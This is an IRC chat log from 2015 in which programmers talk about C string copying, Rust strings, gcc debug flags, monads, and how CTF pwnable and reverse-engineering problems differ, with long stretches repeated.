[2015-03-05T00:54:22-0500] <+awe> Well, one large thing.
[2015-03-05T00:54:25-0500] <+awe> large-ish.
[2015-03-05T00:54:27-0500] <grantwu> Does n include the null terminator or no...
[2015-03-05T00:54:39-0500] <+awe> yah
[2015-03-05T00:55:01-0500] <nezorg> but remember it won't add a null
[2015-03-05T00:55:10-0500] <+awe> The strcpy() and strncpy() functions return dst.  The stpcpy() and
[2015-03-05T00:55:10-0500] <+awe>      stpncpy() functions return a pointer to the terminating `\0' character of
[2015-03-05T00:55:10-0500] <+awe>      dst.  If stpncpy() does not terminate dst with a NUL character, it
[2015-03-05T00:55:10-0500] <+awe>      instead returns a pointer to dst[n] (which does not necessarily refer to
[2015-03-05T00:55:10-0500] <+awe>      a valid memory location.)
[2015-03-05T00:55:19-0500] <+awe> nezorg: https://github.com/aatxe/chipster
[2015-03-05T00:56:10-0500] <grantwu> wait so if I have dst allocated as 6 bytes, and src as "hello", I would use strncpy(dst, src, 6) ?
[2015-03-05T00:56:32-0500] <+awe> Yah.
[2015-03-05T00:57:04-0500] <+awe> nezorg: The stpncpy() and strncpy() functions copy at most n characters from src
[2015-03-05T00:57:04-0500] <+awe>      into dst.  If src is less than n characters long, the remainder of dst is
[2015-03-05T00:57:04-0500] <+awe>      filled with `\0' characters.  Otherwise, dst is not terminated.
[2015-03-05T00:57:07-0500] <+awe> nezorg: it will add null.
[2015-03-05T00:57:25-0500] <nezorg> uhh... read what you just pasted
[2015-03-05T00:57:42-0500] <nezorg> I meant if the buffer is the same length
[2015-03-05T00:57:44-0500] <+awe> Oh, yeah.
[2015-03-05T00:57:51-0500] <+awe> But I mean if it was like
[2015-03-05T00:57:53-0500] <+awe> hello\0
[2015-03-05T00:57:56-0500] <+awe> and he was like
[2015-03-05T00:58:00-0500] <+awe> lol strncpy(dst, src, 8)
[2015-03-05T00:58:03-0500] <nezorg> yeah
[2015-03-05T00:58:05-0500] <+awe> it'd be fine.
[2015-03-05T00:58:10-0500] <+awe> stupid, but fine.
[2015-03-05T00:58:14-0500] <nezorg> grantwu: use strlcpy if possible
[2015-03-05T00:58:25-0500] <+awe> grantwu: from man pages, strncpy(chararray, "abc", sizeof(chararray));
[2015-03-05T00:58:34-0500] <+awe> grantwu: note that they use sizeof and not strlen.
[2015-03-05T00:58:50-0500] <grantwu> ...?
[2015-03-05T00:58:51-0500] <nezorg> that's for a fixed size char array
[2015-03-05T00:58:56-0500] <+awe> well, yeah.
[2015-03-05T00:58:57-0500] <grantwu> That only works for a stack-allocated array I think?
[2015-03-05T00:59:02-0500] <+awe> I was just saying that
[2015-03-05T00:59:09-0500] <+awe> if it didn't include the \0
[2015-03-05T00:59:11-0500] <+awe> they'd use strlen.
[2015-03-05T00:59:32-0500] <+awe> But yeah, you probably want strlcpy.
[2015-03-05T01:03:10-0500] <grantwu> Hrm I think I'll keep my C code...
[2015-03-05T01:03:44-0500] <nezorg> huh?
[2015-03-05T01:04:13-0500] <grantwu> I was considering switching to Rust for this but
[2015-03-05T01:04:16-0500] <grantwu> too much effort
[2015-03-05T01:04:21-0500] <nezorg> oh
[2015-03-05T01:07:20-0500] <+awe> nezorg: did you look at my C project?
[2015-03-05T01:07:29-0500] <nezorg> nope
[2015-03-05T01:07:39-0500] <+awe> Do eeet.
[2015-03-05T01:07:44-0500] <+awe> https://github.com/aatxe/chipster/blob/master/src/interpreter.c
[2015-03-05T01:07:49-0500] <+awe> This is the interesting part.
[2015-03-05T01:07:59-0500] <+awe> the rest is just rendering and input.
[2015-03-05T01:10:29-0500] <+awe> nezorg: my C is pretty neat because of my utility macros and stuff.
[2015-03-05T01:11:10-0500] <hardmath123> Today I almost told my chem teacher how bad his website was.
[2015-03-05T01:11:15-0500] <hardmath123> But then I didn't have the heart to do it.
[2015-03-05T01:11:27-0500] <hardmath123> He seems so... proud of his '80s sad-excuse-for-javascript.
[2015-03-05T01:12:07-0500] <nezorg> underconstruction.gif
[2015-03-05T01:12:15-0500] <+awe> https://github.com/aatxe/minuet/tree/master
[2015-03-05T01:12:50-0500] <+awe> It's basically a combination of minunit, dbg (from that book Learn C The Hard Way), and a string struct I made.
[2015-03-05T01:13:10-0500] <+awe> I made some changes to dbg and minunit though, I think.
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[2015-03-05T01:33:52-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-05T00:55:10-0500] <+awe>      dst.  If stpncpy() does not terminate dst with a NUL character, it
[2015-03-05T00:55:10-0500] <+awe>      instead returns a pointer to dst[n] (which does not necessarily refer to
[2015-03-05T00:55:10-0500] <+awe>      a valid memory location.)
[2015-03-05T00:55:19-0500] <+awe> nezorg: https://github.com/aatxe/chipster
[2015-03-05T00:56:10-0500] <grantwu> wait so if I have dst allocated as 6 bytes, and src as "hello", I would use strncpy(dst, src, 6) ?
[2015-03-05T00:56:32-0500] <+awe> Yah.
[2015-03-05T00:57:04-0500] <+awe> nezorg: The stpncpy() and strncpy() functions copy at most n characters from src
[2015-03-05T00:57:04-0500] <+awe>      into dst.  If src is less than n characters long, the remainder of dst is
[2015-03-05T00:57:04-0500] <+awe>      filled with `\0' characters.  Otherwise, dst is not terminated.
[2015-03-05T00:57:07-0500] <+awe> nezorg: it will add null.
[2015-03-05T00:57:25-0500] <nezorg> uhh... read what you just pasted
[2015-03-05T00:57:42-0500] <nezorg> I meant if the buffer is the same length
[2015-03-05T00:57:44-0500] <+awe> Oh, yeah.
[2015-03-05T00:57:51-0500] <+awe> But I mean if it was like
[2015-03-05T00:57:53-0500] <+awe> hello\0
[2015-03-05T00:57:56-0500] <+awe> and he was like
[2015-03-05T00:58:00-0500] <+awe> lol strncpy(dst, src, 8)
[2015-03-05T00:58:03-0500] <nezorg> yeah
[2015-03-05T00:58:05-0500] <+awe> it'd be fine.
[2015-03-05T00:58:09-0500] <+awe> stupid, but fine.
[2015-03-05T00:58:14-0500] <nezorg> grantwu: use strlcpy if possible
[2015-03-05T00:58:25-0500] <+awe> grantwu: from man pages, strncpy(chararray, "abc", sizeof(chararray));
[2015-03-05T00:58:34-0500] <+awe> grantwu: note that they use sizeof and not strlen.
[2015-03-05T00:58:50-0500] <grantwu> ...?
[2015-03-05T00:58:51-0500] <nezorg> that's for a fixed size char array
[2015-03-05T00:58:56-0500] <+awe> well, yeah.
[2015-03-05T00:58:57-0500] <grantwu> That only works for a stack-allocated array I think?
[2015-03-05T00:59:02-0500] <+awe> I was just saying that
[2015-03-05T00:59:09-0500] <+awe> if it didn't include the \0
[2015-03-05T00:59:11-0500] <+awe> they'd use strlen.
[2015-03-05T00:59:32-0500] <+awe> But yeah, you probably want strlcpy.
[2015-03-05T01:03:09-0500] <grantwu> Hrm I think I'll keep my C code...
[2015-03-05T01:03:44-0500] <nezorg> huh?
[2015-03-05T01:04:13-0500] <grantwu> I was considering switching to Rust for this but
[2015-03-05T01:04:16-0500] <grantwu> too much effort
[2015-03-05T01:04:20-0500] <nezorg> oh
[2015-03-05T01:07:20-0500] <+awe> nezorg: did you look at my C project?
[2015-03-05T01:07:29-0500] <nezorg> nope
[2015-03-05T01:07:39-0500] <+awe> Do eeet.
[2015-03-05T01:07:44-0500] <+awe> https://github.com/aatxe/chipster/blob/master/src/interpreter.c
[2015-03-05T01:07:49-0500] <+awe> This is the interesting part.
[2015-03-05T01:07:59-0500] <+awe> the rest is just rendering and input.
[2015-03-05T01:10:29-0500] <+awe> nezorg: my C is pretty neat because of my utility macros and stuff.
[2015-03-05T01:11:10-0500] <hardmath123> Today I almost told my chem teacher how bad his website was.
[2015-03-05T01:11:15-0500] <hardmath123> But then I didn't have the heart to do it.
[2015-03-05T01:11:27-0500] <hardmath123> He seems so... proud of his '80s sad-excuse-for-javascript.
[2015-03-05T01:12:07-0500] <nezorg> underconstruction.gif
[2015-03-05T01:12:15-0500] <+awe> https://github.com/aatxe/minuet/tree/master
[2015-03-05T01:12:50-0500] <+awe> It's basically a combination of minunit, dbg (from that book Learn C The Hard Way), and a string struct I made.
[2015-03-05T01:13:10-0500] <+awe> I made some changes to dbg and minunit though, I think.
[2015-03-05T01:33:52-0500] Mode is +nt
[2015-03-05T01:51:06-0500] <grantwu> awe: how are string represented in Rust?
[2015-03-05T01:51:18-0500] <nezorg> utf8
[2015-03-05T01:51:20-0500] <+awe> There's both String and str.
[2015-03-05T01:51:41-0500] <grantwu> wait no I can just google this
[2015-03-05T01:51:54-0500] <+awe> String is owned data, and it's a buffer.
[2015-03-05T01:51:57-0500] <+awe> So, it's mutable.
[2015-03-05T01:52:19-0500] <+awe> str is a slice (or reference), and is thus immutable.
[2015-03-05T01:52:24-0500] <grantwu> I see okay
[2015-03-05T01:52:45-0500] <+awe> You'll typically actually have &str, not str.
[2015-03-05T01:53:31-0500] <+awe> Thanks to deref coercions, let a: String = String::new(); let b: &str = &a;
[2015-03-05T01:53:34-0500] <+awe> is totally valid.
[2015-03-05T01:53:56-0500] <+awe> Getting a reference from a String will automatically coerce it into a reference to a slice where possible.
[2015-03-05T01:56:02-0500] <grantwu> okok
[2015-03-05T01:56:24-0500] <+awe> The difference between String and str will make more sense if you learn about Rust's ownership model.
[2015-03-05T01:57:24-0500] <grantwu> I wasn't wondering about that
[2015-03-05T01:59:10-0500] <+awe> It's more complex than it might seem.
[2015-03-05T01:59:50-0500] <grantwu> ik
[2015-03-05T01:59:56-0500] <grantwu> I'm not using rust at the moment
[2015-03-05T02:02:29-0500] <LittleBobbyTables> How would you guys differentiate "pwnables" and "reverse engineering" problems
[2015-03-05T02:03:35-0500] <nezorg> pwnable = gain access to another server
[2015-03-05T02:03:50-0500] <nezorg> reverse engineering = no remote needed
[2015-03-05T02:03:53-0500] <LittleBobbyTables> that makes a lot of sense actually
[2015-03-05T02:05:31-0500] <+awe> nezorg: disagree
[2015-03-05T02:05:45-0500] <+awe> People refer to iPhone hacking as pwning.
[2015-03-05T02:06:08-0500] <Tamini> well, i think LittleBobbyTables was asking about categorizing ctf problems
[2015-03-05T02:06:15-0500] <nezorg> yeah
[2015-03-05T02:06:28-0500] <LittleBobbyTables> ^
[2015-03-05T02:15:00-0500] <+awe> I'm going to bed.
[2015-03-05T02:15:03-0500] <+awe> Good night, everyone.
[2015-03-05T02:17:02-0500] <Tamini> gnight, awe.
[2015-03-05T02:33:09-0500] <grantwu> errr
[2015-03-05T02:33:14-0500] <grantwu> what does gcc's -g flag do
[2015-03-05T02:33:28-0500] <bob_twinkles> tells it to include debug symbols
[2015-03-05T02:33:42-0500] <bob_twinkles> function names, line numbers, that sort of thing
[2015-03-05T02:35:22-0500] <grantwu> oh right
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[2015-03-05T12:56:23-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-05T01:07:59-0500] <+awe> the rest is just rendering and input.
[2015-03-05T01:10:29-0500] <+awe> nezorg: my C is pretty neat because of my utility macros and stuff.
[2015-03-05T01:11:10-0500] <hardmath123> Today I almost told my chem teacher how bad his website was.
[2015-03-05T01:11:15-0500] <hardmath123> But then I didn't have the heart to do it.
[2015-03-05T01:11:27-0500] <hardmath123> He seems so... proud of his '80s sad-excuse-for-javascript.
[2015-03-05T01:12:07-0500] <nezorg> underconstruction.gif
[2015-03-05T01:12:15-0500] <+awe> https://github.com/aatxe/minuet/tree/master
[2015-03-05T01:12:50-0500] <+awe> It's basically a combination of minunit, dbg (from that book Learn C The Hard Way), and a string struct I made.
[2015-03-05T01:13:10-0500] <+awe> I made some changes to dbg and minunit though, I think.
[2015-03-05T01:51:05-0500] <grantwu> awe: how are string represented in Rust?
[2015-03-05T01:51:18-0500] <nezorg> utf8
[2015-03-05T01:51:20-0500] <+awe> There's both String and str.
[2015-03-05T01:51:41-0500] <grantwu> wait no I can just google this
[2015-03-05T01:51:54-0500] <+awe> String is owned data, and it's a buffer.
[2015-03-05T01:51:56-0500] <+awe> So, it's mutable.
[2015-03-05T01:52:19-0500] <+awe> str is a slice (or reference), and is thus immutable.
[2015-03-05T01:52:24-0500] <grantwu> I see okay
[2015-03-05T01:52:45-0500] <+awe> You'll typically actually have &str, not str.
[2015-03-05T01:53:31-0500] <+awe> Thanks to deref coercions, let a: String = String::new(); let b: &str = &a;
[2015-03-05T01:53:34-0500] <+awe> is totally valid.
[2015-03-05T01:53:56-0500] <+awe> Getting a reference from a String will automatically coerce it into a reference to a slice where possible.
[2015-03-05T01:56:02-0500] <grantwu> okok
[2015-03-05T01:56:24-0500] <+awe> The difference between String and str will make more sense if you learn about Rust's ownership model.
[2015-03-05T01:57:24-0500] <grantwu> I wasn't wondering about that
[2015-03-05T01:59:10-0500] <+awe> It's more complex than it might seem.
[2015-03-05T01:59:50-0500] <grantwu> ik
[2015-03-05T01:59:55-0500] <grantwu> I'm not using rust at the moment
[2015-03-05T02:02:29-0500] <LittleBobbyTables> How would you guys differentiate "pwnables" and "reverse engineering" problems
[2015-03-05T02:03:35-0500] <nezorg> pwnable = gain access to another server
[2015-03-05T02:03:50-0500] <nezorg> reverse engineering = no remote needed
[2015-03-05T02:03:53-0500] <LittleBobbyTables> that makes a lot of sense actually
[2015-03-05T02:05:30-0500] <+awe> nezorg: disagree
[2015-03-05T02:05:45-0500] <+awe> People refer to iPhone hacking as pwning.
[2015-03-05T02:06:08-0500] <Tamini> well, i think LittleBobbyTables was asking about categorizing ctf problems
[2015-03-05T02:06:15-0500] <nezorg> yeah
[2015-03-05T02:06:28-0500] <LittleBobbyTables> ^
[2015-03-05T02:15:00-0500] <+awe> I'm going to bed.
[2015-03-05T02:15:02-0500] <+awe> Good night, everyone.
[2015-03-05T02:17:02-0500] <Tamini> gnight, awe.
[2015-03-05T02:33:09-0500] <grantwu> errr
[2015-03-05T02:33:14-0500] <grantwu> what does gcc's -g flag do
[2015-03-05T02:33:28-0500] <bob_twinkles> tells it to include debug symbols
[2015-03-05T02:33:42-0500] <bob_twinkles> function names, line numbers, that sort of thing
[2015-03-05T02:35:22-0500] <grantwu> oh right
[2015-03-05T11:39:22-0500] <JacobEdelman_> I have rearrived
[2015-03-05T12:44:30-0500] <micrictor>  iPhone hacking is considered pwning because you're literally making it so you actually "own" the device
[2015-03-05T12:44:44-0500] <micrictor> Plus, to do so, you're usually leveraging an exploit
[2015-03-05T12:45:48-0500] <micrictor> As oppsed to RE, where you're just taking the program apart to figure out how it works
[2015-03-05T12:46:00-0500] <micrictor> you can use RE to help you pwn
[2015-03-05T12:46:08-0500] <micrictor> only rarely can you pwn to help you RE
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[2015-03-05T01:07:59-0500] <+awe> the rest is just rendering and input.
[2015-03-05T01:10:29-0500] <+awe> nezorg: my C is pretty neat because of my utility macros and stuff.
[2015-03-05T01:11:10-0500] <hardmath123> Today I almost told my chem teacher how bad his website was.
[2015-03-05T01:11:15-0500] <hardmath123> But then I didn't have the heart to do it.
[2015-03-05T01:11:27-0500] <hardmath123> He seems so... proud of his '80s sad-excuse-for-javascript.
[2015-03-05T01:12:07-0500] <nezorg> underconstruction.gif
[2015-03-05T01:12:15-0500] <+awe> https://github.com/aatxe/minuet/tree/master
[2015-03-05T01:12:50-0500] <+awe> It's basically a combination of minunit, dbg (from that book Learn C The Hard Way), and a string struct I made.
[2015-03-05T01:13:10-0500] <+awe> I made some changes to dbg and minunit though, I think.
[2015-03-05T01:51:05-0500] <grantwu> awe: how are string represented in Rust?
[2015-03-05T01:51:18-0500] <nezorg> utf8
[2015-03-05T01:51:20-0500] <+awe> There's both String and str.
[2015-03-05T01:51:41-0500] <grantwu> wait no I can just google this
[2015-03-05T01:51:54-0500] <+awe> String is owned data, and it's a buffer.
[2015-03-05T01:51:56-0500] <+awe> So, it's mutable.
[2015-03-05T01:52:19-0500] <+awe> str is a slice (or reference), and is thus immutable.
[2015-03-05T01:52:24-0500] <grantwu> I see okay
[2015-03-05T01:52:45-0500] <+awe> You'll typically actually have &str, not str.
[2015-03-05T01:53:31-0500] <+awe> Thanks to deref coercions, let a: String = String::new(); let b: &str = &a;
[2015-03-05T01:53:34-0500] <+awe> is totally valid.
[2015-03-05T01:53:56-0500] <+awe> Getting a reference from a String will automatically coerce it into a reference to a slice where possible.
[2015-03-05T01:56:02-0500] <grantwu> okok
[2015-03-05T01:56:24-0500] <+awe> The difference between String and str will make more sense if you learn about Rust's ownership model.
[2015-03-05T01:57:24-0500] <grantwu> I wasn't wondering about that
[2015-03-05T01:59:10-0500] <+awe> It's more complex than it might seem.
[2015-03-05T01:59:50-0500] <grantwu> ik
[2015-03-05T01:59:55-0500] <grantwu> I'm not using rust at the moment
[2015-03-05T02:02:29-0500] <LittleBobbyTables> How would you guys differentiate "pwnables" and "reverse engineering" problems
[2015-03-05T02:03:35-0500] <nezorg> pwnable = gain access to another server
[2015-03-05T02:03:50-0500] <nezorg> reverse engineering = no remote needed
[2015-03-05T02:03:53-0500] <LittleBobbyTables> that makes a lot of sense actually
[2015-03-05T02:05:30-0500] <+awe> nezorg: disagree
[2015-03-05T02:05:45-0500] <+awe> People refer to iPhone hacking as pwning.
[2015-03-05T02:06:08-0500] <Tamini> well, i think LittleBobbyTables was asking about categorizing ctf problems
[2015-03-05T02:06:15-0500] <nezorg> yeah
[2015-03-05T02:06:28-0500] <LittleBobbyTables> ^
[2015-03-05T02:15:00-0500] <+awe> I'm going to bed.
[2015-03-05T02:15:02-0500] <+awe> Good night, everyone.
[2015-03-05T02:17:02-0500] <Tamini> gnight, awe.
[2015-03-05T02:33:09-0500] <grantwu> errr
[2015-03-05T02:33:14-0500] <grantwu> what does gcc's -g flag do
[2015-03-05T02:33:28-0500] <bob_twinkles> tells it to include debug symbols
[2015-03-05T02:33:42-0500] <bob_twinkles> function names, line numbers, that sort of thing
[2015-03-05T02:35:22-0500] <grantwu> oh right
[2015-03-05T11:39:22-0500] <JacobEdelman_> I have rearrived
[2015-03-05T12:44:30-0500] <micrictor>  iPhone hacking is considered pwning because you're literally making it so you actually "own" the device
[2015-03-05T12:44:44-0500] <micrictor> Plus, to do so, you're usually leveraging an exploit
[2015-03-05T12:45:48-0500] <micrictor> As oppsed to RE, where you're just taking the program apart to figure out how it works
[2015-03-05T12:46:00-0500] <micrictor> you can use RE to help you pwn
[2015-03-05T12:46:08-0500] <micrictor> only rarely can you pwn to help you RE
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[2015-03-05T12:57:24-0500] <+awe> micrictor: fair.
[2015-03-05T13:00:54-0500] <+awe> Fill: IRC builds again :)
[2015-03-05T13:01:04-0500] <+awe> Fill: My PR was merged to OpenSSL last night.
[2015-03-05T13:02:24-0500] <Fill> ah
[2015-03-05T13:02:24-0500] <Fill> nice!
[2015-03-05T13:08:17-0500] <+awe> Well, once he pushes it.
[2015-03-05T13:08:30-0500] <+awe> I just asked him though.
[2015-03-05T13:12:56-0500] <grantwu> awe: what is a monoid -_-
[2015-03-05T13:13:13-0500] <grantwu> oh wait no it's actually defined here
[2015-03-05T13:13:32-0500] <+awe> It's a set with an operation for combining elements in the set.
[2015-03-05T13:13:57-0500] <grantwu> ok
[2015-03-05T13:14:08-0500] <+awe> assuming the combining operation is associative, and there's an identity element.
[2015-03-05T13:18:50-0500] <grantwu> yes, this was for 'a list s
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[2015-03-05T14:10:01-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-05T01:51:56-0500] <+awe> So, it's mutable.
[2015-03-05T01:52:19-0500] <+awe> str is a slice (or reference), and is thus immutable.
[2015-03-05T01:52:24-0500] <grantwu> I see okay
[2015-03-05T01:52:45-0500] <+awe> You'll typically actually have &str, not str.
[2015-03-05T01:53:31-0500] <+awe> Thanks to deref coercions, let a: String = String::new(); let b: &str = &a;
[2015-03-05T01:53:34-0500] <+awe> is totally valid.
[2015-03-05T01:53:56-0500] <+awe> Getting a reference from a String will automatically coerce it into a reference to a slice where possible.
[2015-03-05T01:56:02-0500] <grantwu> okok
[2015-03-05T01:56:24-0500] <+awe> The difference between String and str will make more sense if you learn about Rust's ownership model.
[2015-03-05T01:57:24-0500] <grantwu> I wasn't wondering about that
[2015-03-05T01:59:10-0500] <+awe> It's more complex than it might seem.
[2015-03-05T01:59:50-0500] <grantwu> ik
[2015-03-05T01:59:55-0500] <grantwu> I'm not using rust at the moment
[2015-03-05T02:02:29-0500] <LittleBobbyTables> How would you guys differentiate "pwnables" and "reverse engineering" problems
[2015-03-05T02:03:35-0500] <nezorg> pwnable = gain access to another server
[2015-03-05T02:03:50-0500] <nezorg> reverse engineering = no remote needed
[2015-03-05T02:03:53-0500] <LittleBobbyTables> that makes a lot of sense actually
[2015-03-05T02:05:30-0500] <+awe> nezorg: disagree
[2015-03-05T02:05:45-0500] <+awe> People refer to iPhone hacking as pwning.
[2015-03-05T02:06:08-0500] <Tamini> well, i think LittleBobbyTables was asking about categorizing ctf problems
[2015-03-05T02:06:15-0500] <nezorg> yeah
[2015-03-05T02:06:28-0500] <LittleBobbyTables> ^
[2015-03-05T02:15:00-0500] <+awe> I'm going to bed.
[2015-03-05T02:15:02-0500] <+awe> Good night, everyone.
[2015-03-05T02:17:02-0500] <Tamini> gnight, awe.
[2015-03-05T02:33:09-0500] <grantwu> errr
[2015-03-05T02:33:14-0500] <grantwu> what does gcc's -g flag do
[2015-03-05T02:33:28-0500] <bob_twinkles> tells it to include debug symbols
[2015-03-05T02:33:42-0500] <bob_twinkles> function names, line numbers, that sort of thing
[2015-03-05T02:35:22-0500] <grantwu> oh right
[2015-03-05T11:39:22-0500] <JacobEdelman_> I have rearrived
[2015-03-05T12:44:30-0500] <micrictor>  iPhone hacking is considered pwning because you're literally making it so you actually "own" the device
[2015-03-05T12:44:44-0500] <micrictor> Plus, to do so, you're usually leveraging an exploit
[2015-03-05T12:45:48-0500] <micrictor> As oppsed to RE, where you're just taking the program apart to figure out how it works
[2015-03-05T12:46:00-0500] <micrictor> you can use RE to help you pwn
[2015-03-05T12:46:08-0500] <micrictor> only rarely can you pwn to help you RE
[2015-03-05T12:57:22-0500] <+awe> micrictor: fair.
[2015-03-05T13:00:53-0500] <+awe> Fill: IRC builds again :)
[2015-03-05T13:01:02-0500] <+awe> Fill: My PR was merged to OpenSSL last night.
[2015-03-05T13:02:22-0500] <Fill> ah
[2015-03-05T13:02:23-0500] <Fill> nice!
[2015-03-05T13:08:15-0500] <+awe> Well, once he pushes it.
[2015-03-05T13:08:29-0500] <+awe> I just asked him though.
[2015-03-05T13:12:54-0500] <grantwu> awe: what is a monoid -_-
[2015-03-05T13:13:11-0500] <grantwu> oh wait no it's actually defined here
[2015-03-05T13:13:30-0500] <+awe> It's a set with an operation for combining elements in the set.
[2015-03-05T13:13:56-0500] <grantwu> ok
[2015-03-05T13:14:06-0500] <+awe> assuming the combining operation is associative, and there's an identity element.
[2015-03-05T13:18:48-0500] <grantwu> yes, this was for 'a list s
[2015-03-05T13:55:58-0500] <+awe> grantwu: whenever I see 'a, I think lifetimes.
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[2015-03-05T14:38:27-0500] <JacobEdelman_> awe: I still don't get what abstractions monads are useful for
[2015-03-05T14:38:48-0500] <+awe> One of them gave an example.
[2015-03-05T14:39:00-0500] <JacobEdelman_> I looked at the stack overflow
[2015-03-05T14:39:03-0500] <JacobEdelman_> and was not impressed
[2015-03-05T14:39:04-0500] <+awe> Look at the article.
[2015-03-05T14:39:06-0500] <+awe> The article is a lot better.
[2015-03-05T14:39:24-0500] <+awe> SO was just a preliminary "this will probably yield something ok."
[2015-03-05T14:39:59-0500] <JacobEdelman_> can you just give me a program
[2015-03-05T14:40:01-0500] <JacobEdelman_> that does something
[2015-03-05T14:40:09-0500] <JacobEdelman_> that I would find difficult without a monad?
[2015-03-05T14:40:54-0500] <JacobEdelman_> I mean, global variables, error handling and all are cool
[2015-03-05T14:41:23-0500] <JacobEdelman_> but in a way they seem to just be ways of implementing
[2015-03-05T14:41:32-0500] <JacobEdelman_> features other languages have, just in a more pure way
[2015-03-05T14:41:58-0500] <JacobEdelman_> its like cutting off your own arms and than expecting applause when you finnally manager to flush a toilet
[2015-03-05T14:42:29-0500] <JacobEdelman_> ... that is the most beautiful metaphor i have ever created
[2015-03-05T14:42:35-0500] <JacobEdelman_> oh wait
[2015-03-05T14:42:37-0500] <JacobEdelman_> *finally manage
[2015-03-05T14:57:18-0500] <+awe> It's not about difficulty.
[2015-03-05T14:57:43-0500] <+awe> It's not that any particular task is difficult without monads. It's that they make abstraction more beautiful.
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[2015-03-05T14:58:58-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-05T02:06:08-0500] <Tamini> well, i think LittleBobbyTables was asking about categorizing ctf problems
[2015-03-05T02:06:15-0500] <nezorg> yeah
[2015-03-05T02:06:28-0500] <LittleBobbyTables> ^
[2015-03-05T02:15:00-0500] <+awe> I'm going to bed.
[2015-03-05T02:15:02-0500] <+awe> Good night, everyone.
[2015-03-05T02:17:02-0500] <Tamini> gnight, awe.
[2015-03-05T02:33:09-0500] <grantwu> errr
[2015-03-05T02:33:14-0500] <grantwu> what does gcc's -g flag do
[2015-03-05T02:33:28-0500] <bob_twinkles> tells it to include debug symbols
[2015-03-05T02:33:42-0500] <bob_twinkles> function names, line numbers, that sort of thing
[2015-03-05T02:35:22-0500] <grantwu> oh right
[2015-03-05T11:39:22-0500] <JacobEdelman_> I have rearrived
[2015-03-05T12:44:30-0500] <micrictor>  iPhone hacking is considered pwning because you're literally making it so you actually "own" the device
[2015-03-05T12:44:44-0500] <micrictor> Plus, to do so, you're usually leveraging an exploit
[2015-03-05T12:45:48-0500] <micrictor> As oppsed to RE, where you're just taking the program apart to figure out how it works
[2015-03-05T12:46:00-0500] <micrictor> you can use RE to help you pwn
[2015-03-05T12:46:08-0500] <micrictor> only rarely can you pwn to help you RE
[2015-03-05T12:57:22-0500] <+awe> micrictor: fair.
[2015-03-05T13:00:53-0500] <+awe> Fill: IRC builds again :)
[2015-03-05T13:01:02-0500] <+awe> Fill: My PR was merged to OpenSSL last night.
[2015-03-05T13:02:22-0500] <Fill> ah
[2015-03-05T13:02:23-0500] <Fill> nice!
[2015-03-05T13:08:15-0500] <+awe> Well, once he pushes it.
[2015-03-05T13:08:29-0500] <+awe> I just asked him though.
[2015-03-05T13:12:54-0500] <grantwu> awe: what is a monoid -_-
[2015-03-05T13:13:11-0500] <grantwu> oh wait no it's actually defined here
[2015-03-05T13:13:30-0500] <+awe> It's a set with an operation for combining elements in the set.
[2015-03-05T13:13:56-0500] <grantwu> ok
[2015-03-05T13:14:06-0500] <+awe> assuming the combining operation is associative, and there's an identity element.
[2015-03-05T13:18:48-0500] <grantwu> yes, this was for 'a list s
[2015-03-05T13:55:58-0500] <+awe> grantwu: whenever I see 'a, I think lifetimes.
[2015-03-05T14:38:25-0500] <JacobEdelman_> awe: I still don't get what abstractions monads are useful for
[2015-03-05T14:38:47-0500] <+awe> One of them gave an example.
[2015-03-05T14:38:58-0500] <JacobEdelman_> I looked at the stack overflow
[2015-03-05T14:39:02-0500] <JacobEdelman_> and was not impressed
[2015-03-05T14:39:02-0500] <+awe> Look at the article.
[2015-03-05T14:39:05-0500] <+awe> The article is a lot better.
[2015-03-05T14:39:22-0500] <+awe> SO was just a preliminary "this will probably yield something ok."
[2015-03-05T14:39:58-0500] <JacobEdelman_> can you just give me a program
[2015-03-05T14:40:00-0500] <JacobEdelman_> that does something
[2015-03-05T14:40:08-0500] <JacobEdelman_> that I would find difficult without a monad?
[2015-03-05T14:40:52-0500] <JacobEdelman_> I mean, global variables, error handling and all are cool
[2015-03-05T14:41:21-0500] <JacobEdelman_> but in a way they seem to just be ways of implementing
[2015-03-05T14:41:30-0500] <JacobEdelman_> features other languages have, just in a more pure way
[2015-03-05T14:41:56-0500] <JacobEdelman_> its like cutting off your own arms and than expecting applause when you finnally manager to flush a toilet
[2015-03-05T14:42:27-0500] <JacobEdelman_> ... that is the most beautiful metaphor i have ever created
[2015-03-05T14:42:33-0500] <JacobEdelman_> oh wait
[2015-03-05T14:42:35-0500] <JacobEdelman_> *finally manage
[2015-03-05T14:57:16-0500] <+awe> It's not about difficulty.
[2015-03-05T14:57:42-0500] <+awe> It's not that any particular task is difficult without monads. It's that they make abstraction more beautiful.
[2015-03-05T14:58:59-0500] Mode is +nt
[2015-03-05T14:59:21-0500] <+awe> JacobEdelman_: sequence :: Monad m => [m a] -> m [a]
[2015-03-05T14:59:32-0500] <JacobEdelman_> wait
[2015-03-05T14:59:35-0500] <+awe> Let’s take a minute to consider what this means for each of our four examples. For Err, it takes a list of results that might be failures, and if any of them are failures, it fails; but if not, then it gives back a list of all the results.  It’s basically a convenient way to check a whole list of computations for a failure. For Pref, it takes a single set of application preferences, and distributes that to everything in the list, giving back a list of the
[2015-03-05T14:59:35-0500] <+awe>  results. For the power-set monad, P, it would take a list of sets, and give back a set of all the ways to choose one item from each set.  And for IO, it takes a list of instruction cards, and gives back the single card with instructions for doing all of them in turn.  Amazingly, this one function, which had only one implementation, managed to make sense and do something useful for all four of our examples of monads!
[2015-03-05T15:00:12-0500] <JacobEdelman_> hmmm interesting
[2015-03-05T15:00:29-0500] <JacobEdelman_> still I lack an understanding of how it works 
[2015-03-05T15:01:12-0500] <+awe> It works because a monad has rules for how combining different elements within the set owrk.
[2015-03-05T15:01:23-0500] <+awe> After all, a monad is just a monoid in the category of endofunctors. ;)
[2015-03-05T15:01:52-0500] <+awe> Reproduced for your reading pleasure:
[2015-03-05T15:01:53-0500] <+awe> [13:12:54]  <grantwu>	awe: what is a monoid 😑
[2015-03-05T15:01:53-0500] <+awe> [13:13:11]  <grantwu>	oh wait no it's actually defined here
[2015-03-05T15:01:53-0500] <+awe> [13:13:30]  <+awe>	It's a set with an operation for combining elements in the set.
[2015-03-05T15:01:53-0500] <+awe> [13:13:56]  <grantwu>	ok
[2015-03-05T15:01:53-0500] <+awe> [13:14:06]  <+awe>	assuming the combining operation is associative, and there's an identity element.
[2015-03-05T15:02:54-0500] <nezorg> awe: I consider it very bad that I understand that statement
